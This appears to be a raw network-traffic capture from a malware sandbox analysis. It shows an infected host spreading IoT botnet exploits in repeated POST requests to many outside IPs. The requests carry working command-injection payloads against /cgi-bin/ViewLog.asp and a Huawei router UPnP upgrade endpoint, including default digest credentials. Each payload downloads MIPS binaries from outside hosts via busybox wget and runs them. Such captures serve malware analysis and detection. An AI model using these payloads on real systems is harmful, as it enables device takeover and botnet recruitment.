                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:08.569619894 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:17.785398960 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:36.984719038 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:13.847754002 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                469192.168.2.153363494.122.23.1958080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:59.941528082 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                470192.168.2.155885231.136.248.2098080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:00.085757017 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:00.665767908 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:01.785703897 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:04.217796087 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:08.829530001 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:17.785398006 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:36.984731913 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:13.847778082 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                471192.168.2.153681095.252.23.1928080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:00.134737968 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:00.332545996 CET1340INHTTP/1.1 200 OK
                                                Connection: close
                                                Content-Type: text/html; charset=UTF-8
                                                Data Raw: 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 31 32 38 2e 70 6e 67 22 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 38 78 31 32 38 22 20 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 31 39 32 2e 70 6e 67 22 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 32 35 36 2e 70 6e 67 22 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 32 35 36 78 32 35 36 22 20 2f 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 33 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 69 64 3d 22 76 69 65 77 70 6f 72 74 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 73 74 61 74 75 73 2d 62 61 72 2d 73 74 79 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 62 6c 61 63 6b 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 73 74 61 72 74 75 70 2d 69 6d 61 67 65 22 20 68 72 65 66 3d 22 69 6d 67 2f 69 6e 74 72 6f 2e 67 69 66 22 20 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 69 63 6e 2e 67 69 66 22 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 2f 3e 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 63 72 79 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 74 69 74 6c 65 3e 41 6d 69 63 61 57 45 42 20 50 4c 55 53 20 2d 20 43 6f 6d 62 69 76 6f 78 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 77 69 64 74 68 5f 66 6d 61 78 22 20 6f 6e 6c 6f 61 64 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 6c 6f 61 64 70 61 67 65 28 29 3b 22 20 69 64 3d 22 6d 61 69 6e 62 64 22 3e 3c 63 65 6e 74 65 72 3e 3c 66 6f 72 6d 20 69 64 3d 22 66 72 6d 49 6e 64 65 78 22 20 6e 61 6d 65 3d 22 66 72 6d 49 6e 64 65 78 22 20 6d 65 74 68 6f 64 3d 22 70 6f 73 74 22 20 61 63 74 69 6f 6e 3d 22 22 3e 3c 64 69 76 20 69 64 3d 22 62 6f 78 53 69 6d 70 6c 79 61 22 20 63 6c 61 73 73 3d 22 62 6f 78 53 69 6d 70 6c 79 61 22 3e 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 4d 61 69 6e 22 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 20 31 35 70 78 3b 22 3e 3c 64 69 76 20 69 64 3d 22 54 78 74 54 69 74 6c 65 22 20 63 6c 61 73 73 3d 22 54 78 74 54 69 74 6c 65 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 31 30 30 25 22 3e 3c 61 20 69 64 3d 22 6c 6e 6b 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 73 65 6c 66 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3b 22 3e 43 6f 6d 62 69 76 6f 78 2e 2e 2e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 62 74 6e 53 63 72 65 65 6e 22 3e 3c 64 69 76 20 69 64 3d 22 62 75 74 74 6f 6e 73 38 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65
                                                Data Ascii: <html xmlns="http://www.w3.org/1999/xhtml"><head><link href="favicon.ico" rel="shortcut icon" type="image/x-icon" /><link href="favicon128.png" rel="icon" sizes="128x128" /><link href="favicon192.png" rel="icon" sizes="192x192" /><link href="favicon256.png" rel="icon" sizes="256x256" /><meta content="width=device-width, maximum-scale=3.0, user-scalable=yes" name="viewport" id="viewport" /><meta name="apple-mobile-web-app-capable" content="yes" /><meta name="apple-mobile-web-app-status-bar-style" content="black" /><link rel="apple-touch-startup-image" href="img/intro.gif" /><link href="img/icn.gif" rel="apple-touch-icon" /><script language="JavaScript" type="text/javascript" src="/crypt.js"></script><title>AmicaWEB PLUS - Combivox</title></head><body class="width_fmax" onload="javascript:loadpage();" id="mainbd"><center><form id="frmIndex" name="frmIndex" method="post" action=""><div id="boxSimplya" class="boxSimplya"><div id="titleMain" style="height: 15px;"><div id="TxtTitle" class="TxtTitle" style="width:100%"><a id="lnkreload" href="javascript:self.location.reload(true);">Combivox...</a></div></div><div id="btnScreen"><div id="buttons8"></div></div><script language="JavaScript" type="te


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                472192.168.2.153559294.121.70.768080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:00.170105934 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                473192.168.2.153356441.35.51.24737215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:02.407881975 CET886OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:03.737761021 CET886OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 